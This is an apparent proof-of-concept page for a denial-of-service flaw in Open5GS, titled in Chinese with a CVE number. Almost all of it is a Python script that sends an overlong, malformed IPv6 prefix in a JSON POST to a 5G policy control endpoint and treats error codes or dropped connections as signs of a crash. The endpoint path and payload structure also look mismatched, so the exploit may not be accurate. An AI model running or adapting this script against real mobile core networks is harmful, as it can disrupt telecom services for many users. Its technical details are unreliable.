CVE-2026-8224 Open5GS拒绝服务漏洞

import requests import json # Target PCF Service (Example URL) target_url = "http://target-pcf-ip:80/npcf-policyauthorization/v1/policies" # Malicious payload targeting the vulnerable parameter payload = { "SmPolicyContextData": { "ipv6AddressPrefix": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" # Long/Malformed prefix } } headers = { "Content-Type": "application/json", "User-Agent": "PoC-Client" } try: response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=5) print(f"Status Code: {response.status_code}") if response.status_code == 500 or response.status_code == 400: print("Potential trigger of vulnerability (Service Error)") except Exception as e: print(f"Connection failed or Service crashed: {e}")